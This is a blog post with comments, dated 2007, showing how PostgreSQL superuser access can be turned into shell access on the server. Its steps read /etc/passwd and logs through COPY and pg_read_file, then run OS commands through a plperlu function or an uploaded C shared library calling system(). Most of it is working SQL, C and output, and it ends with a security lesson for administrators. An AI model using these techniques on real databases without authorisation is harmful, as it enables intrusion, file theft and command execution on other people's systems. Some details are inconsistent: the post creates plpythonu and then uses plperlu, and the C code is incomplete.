“hacking” with postgresql

< french translation is now available >

very recently i got a task which involved finding out what happened (what sql queries were called) on remote machine.

the problem was that i didn't have any kind of shell access to server – i could connect only to postgresql. the good side was that i had a superuser-level access.

so the task was quite simple – how to find and read a file from psql. on remote machine. with no access to ssh, ftp, nor anything like this.

this is when i got idea that i'll write more about it. some might say that you shouldn't write this kind of information. my view is that i'm not disclosing any secrets – i will be using only basic (remote) psql with superuser access. all things that i will describe in here are in documentation – you just have to know where to look for them.

so, first simple data gathering:

# SELECT version();
 PostgreSQL 8.2.4 ON x86_64-unknown-linux-gnu, compiled BY GCC gcc (GCC) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)
(1 ROW)
# SELECT * FROM pg_user WHERE usename = CURRENT_USER;
 usename | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig
 depesz  |    33005 | f           | t        | t         | ******** | [NULL]   | [NULL]
(1 ROW)

ok, so i have superuser-level access to postgresql 8.2.4 on some x86_64 machine, with debian and gcc 4.1.2.

so first, let's try to read some file that we know where it is. let's start with known and interesting file: /etc/passwd.

i'll create test table:

# CREATE TABLE file (line text);

so, now let's:

# copy file from '/etc/passwd' with delimiter E'\t';

now, i used delimiter “\t" (which is tab character). it is important to use a character that does not exist in source file, otherwise we'll get something like this:

# copy file from '/etc/passwd' with delimiter ':';
ERROR:  extra data after last expected column
CONTEXT:  COPY file, line 1: "root:x:0:0:root:/root:/bin/bash"

on the other hand – if we would knew file structure in advance (like in /etc/passwd) situation – it would be simple to create table with necessary fields, and use delimiter ‘:'.

but let's not get it too simple. we will work with field of unknown structure.

so, is our copy ok? yes! the data is there (sorry, i'll not show you the output ;-).

ok, so we *knew* were the file is. and what in case we don't know?

let's say i need access to postgresql logs, but they can be anywhere.

hmm … let's see:

# SELECT name, setting FROM pg_settings WHERE name ~ '^log_'^J;
            name            |            setting
 log_connections            | ON
 log_destination            | stderr
 log_directory              | pg_log
 log_disconnections         | off
 log_duration               | off
 log_error_verbosity        | DEFAULT
 log_executor_stats         | off
 log_filename               | postgresql-%Y-%m-%d_%H%M%S.log
 log_hostname               | off
 log_line_prefix            | %m | %p <%u@%d>
 log_min_duration_statement | 0
 log_min_error_statement    | error
 log_min_messages           | notice
 log_parser_stats           | off
 log_planner_stats          | off
 log_rotation_age           | 1440
 log_rotation_size          | 102400
 log_statement              | NONE
 log_statement_stats        | off
 log_truncate_on_rotation   | off
(20 ROWS)

so, now i know a bit more. logs are logged to stderr, which is redirected to pg_log directory (where is it? in what directory), and their names are quite simple to guess.

now. log_directory is either absolute (it is not in this situation), or it can be relative to data directory.

in our situation – it means that logs are in $PGDATA/pg_log/postgresql-*.log.

we could technically guess the names, and use copy trick, but let's do something more fancy:

# SELECT pg_ls_dir('pg_log');
(3 ROWS)

pg_ls_dir shows content of given directory (it is treated as relative to $PGDATA). it is not possible (or i don't know how to) to go to another directories than $PGDATA, but this is enough for us at the moment.

so, we know that today's log is postgresql-2007-08-12_000000.log, and it is the only file of today. we don't know how big it is.

now, i could simply use copy again:

# show data_directory ;
(1 row)
# copy file from '/home/pgdba/data/pg_log/postgresql-2007-08-12_000000.log' with delimiter E'\t';
ERROR:  extra data after last expected column
CONTEXT:  COPY file, line 27150: "      ;"

but it could be tedious due to fact that in logs tab character can easily happen. i could find some character (delimiter has to be one-character-long) that doesn't break COPY, but instead, i'll use another nice function:

# SELECT pg_read_file('/home/pgdba/data/pg_log/postgresql-2007-08-12_000000.log', 0, 200);
 2007-08-12 00:00:06.203 CEST | 30225 <[UNKNOWN]@[UNKNOWN]> LOG:  connection received: host= port=43521
 2007-08-12 00:00:06.203 CEST | 30225 <xxxxxxxxxx@xxxxxxxxxx> LOG:  connection authorized
(1 ROW)

this function read for me first 200 bytes. by modifying 200 or 0 i could read whole file.

nice. so let's check how big is the file before actual transfer from remote site (you can also use (simpler) function pg_stat_file):

# SELECT LENGTH(pg_read_file('/home/pgdba/data/pg_log/postgresql-2007-08-12_000000.log', 0, 1000000000));
(1 ROW)

i use 1000000000 (slightly less then 1 gb) due to the fact that it's the biggest string postgresql can handle.

if my length() call would show 1000000000, then if would mean that the file is at least 1000000000 bytes long, and i would have to retry length() call, but with 1000000000 offset.

but in my situation, the file is merely 3.5mb, so i could easily transfer it.

ok, but what if i'd like to find a file which is not in $PGDATA? let's say i would like to check which ssh keys are in authorized_keys directory, but i'm not sure what is homedir of the user that runs postgresql.

(side note: of course judging from data_directory i could simply use copy-trick with /home/pgdba/.ssh/authorized_keys and /home/pgdba/.ssh/authorized_keys2, or i could check /etc/passwd for postgresql-related accounts and then try some directories, but let's assume it is not that obvious, or i'm simply brain dead).

to make it happen i would need something more interesting that reading files with copy, or checking $PGDATA with ls and cat.

what i'd really like to do, is to run some shell commands on the remote machine.

so, first let's see – perhaps the nice admin of this machine gave me some untrusted languages:

# SELECT * FROM pg_language ;
 lanname  | lanispl | lanpltrusted | lanplcallfoid | lanvalidator | lanacl
 internal | f       | f            |             0 |         2246 | [NULL]
 c        | f       | f            |             0 |         2247 | [NULL]
 SQL      | f       | t            |             0 |         2248 | [NULL]
 plpgsql  | t       | t            |         91011 |        91012 | [NULL]
(4 ROWS)

unfortunately no. but – perhaps i can add some by myself. i am superuser, so all i need is that whoever setup this machine compiled some of pl/*U languages:

# CREATE LANGUAGE plpythonu;

whoa, 3 guesses, 3 hits 🙂

so, now that i have pl/perlu let's do something nice:

# CREATE FUNCTION system(text) RETURNS text LANGUAGE plperlu AS $body$ my $c = shift; my $out = `$c 2>\&1`; RETURN $out$body$;
# SELECT system('ls -l / | head -n 2');
 razem 1600
 drwxr-xr-x   2 root root    4096 Jul 16 13:02 bin
(1 ROW)

now we're talking 🙂 full shell access.

but what if there are no pl/*U languages available?

it will require much more work.

first – you need to find a system which is the same (or very similar) to your remote machine. i'm talking about gcc, libc, architecture, postgresq version.

then – you write simple function (i'm not a c programmer, so i simply lifted most of the code from pgcrypto.c (gen_salt function)):

Datum system_hack(PG_FUNCTION_ARGS) {
    text       *arg0;
    int         rc, len;
    char command[2048];
    arg0 = PG_GETARG_TEXT_P(0);
    len = VARSIZE(arg0) - VARHDRSZ;
    if (len > 2047)
        len = 2047;
    memcpy(command, VARDATA(arg0), len);
    command[len] = 0;
    elog(NOTICE, "string: [%s]", command);
    rc = system( command );
    PG_FREE_IF_COPY(arg0, 0);

then you save it as test.c, add necessary includes and declarations and compile to .so (i will not show all steps, i assume that if you will end up at using this method you should at the very least understand what you're doing).

so, then i have .so file on your local machine. now we have to find a way to transfer it to remote system.

my binary is 8982 bytes long (5328 stripped, but it's not really relevant).

so, now in psql session i enter:

# \lo_import '/home/depesz/test.so'
lo_import 91092
# SELECT lo_export(91092, '/tmp/system_hack.so');
(1 ROW)

in this way, i simply copy the file to remote machine, and save as /tmp/system_hack.so.

so, now let's just:

CREATE FUNCTION system_hack(text)
AS '/tmp/system_hack.so', 'system_hack'

of course – in case /tmp is “noexec" it will not work, so you'll have to use some other directory, but since you're effectively operating as postgres system user, there is a lot of places you have write access to.

so, now we have system_hack function.

how can i use it?

it is not very nice – mostly because i know very little about c programming, but it works in such a way:

# CREATE TABLE file (line text);
# SELECT system_hack('ls -l /proc > /tmp/output');
NOTICE:  string: [ls -l /proc > /tmp/output]
(1 ROW)
# copy file FROM '/tmp/output' delimiter E'\t';
COPY 147

of course now i can simply select * from file to see the output.

so basically now i was able to get full shell access to remote machine without using any other communication tool than psql.

does it mean that postgresql/psql is not secure? of course not.

correct answer would be: if you give somebody your superuser access – you practically gave him a shell access.

15 thoughts on ““hacking” with postgresql”

  1. Well done!

    “Full disclosure” means just what you did here – if it’s possible out there you can assume that the chances the bad guys know about it are higher, and therefore making the white-hats aware of such options is paramount to enhancing network security.

    Besides – it’s a cool trick.

  2. Much easyer way to get a directory listing : type “\o ” and use command-line completion ([tab] key).

    Make sure you don’t press [enter] here, unless you actually want to write to that file :p

  3. @Vincent de Phily:
    not really – \o will show you contents of your *local* drive (drive at the machine you have your psql running).
    and the whole point of the article was to do it on remote machine.

  4. While it’s well-known that the database super-user can destroy databases, scribble on the file system, etc., it’s better, as you have done, to give specific examples of what a hostile super-user can do.


  5. Absolutely brilliant! Well done! How did you even think of it!?

  6. @Assid:
    we had a problem at work with not really good administered remote machine, where we had postgresql super-user, and nothing else. and the admin of the machine was not really responsive.

  7. Hello,
    for me i have the same problem as you, i export my resource from the database with the same size but when i want to read the file which is a image tiff i can’t he send an error. so i need to browse my TIFF files in the web and i don’t know how to do that.
    and if any one have resolved this problem send me a replay and thanks for ur help.

  8. COPY from postgres logs is particularly useful in systems in which no other access to logs can be easily opened.
    COPY FILE FROM ‘pg_log/postgresql-2010-03-18_000000.log’ WITH DELIMITER ‘\b’;
    did the job many times for us.
    Great job anyway.

  9. Hey,
    good post,
    just to say that maybe you have overlooked a very simple way to do it in recent postgres version :
    Now you can use whatever command line when using the copy . So you could in fact use the copy to execute your bash command I guess.

  10. @Remi-C:
    please note that this was written in 2007. Some things has changed (like copy to command), but the general gist is more or less the same.

Comments are closed.